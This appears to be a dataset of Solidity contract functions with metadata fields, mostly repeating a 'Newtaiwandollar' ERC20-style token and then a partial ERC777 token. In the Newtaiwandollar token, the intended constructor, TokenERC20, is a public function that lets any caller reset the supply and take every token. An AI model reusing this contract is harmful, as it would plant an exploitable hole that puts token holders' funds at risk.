require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transfer | function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
| /**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
2438,
2550
]
} | 59,924 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
| /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
2825,
3126
]
} | 59,925 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approve | function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
3390,
3566
]
} | 59,926 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
| /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
3960,
4312
]
} | 59,927 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burn | function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
4482,
4861
]
} | 59,928 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burnFrom | function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
| /**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
5119,
5735
]
} | 59,929 |
|||
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
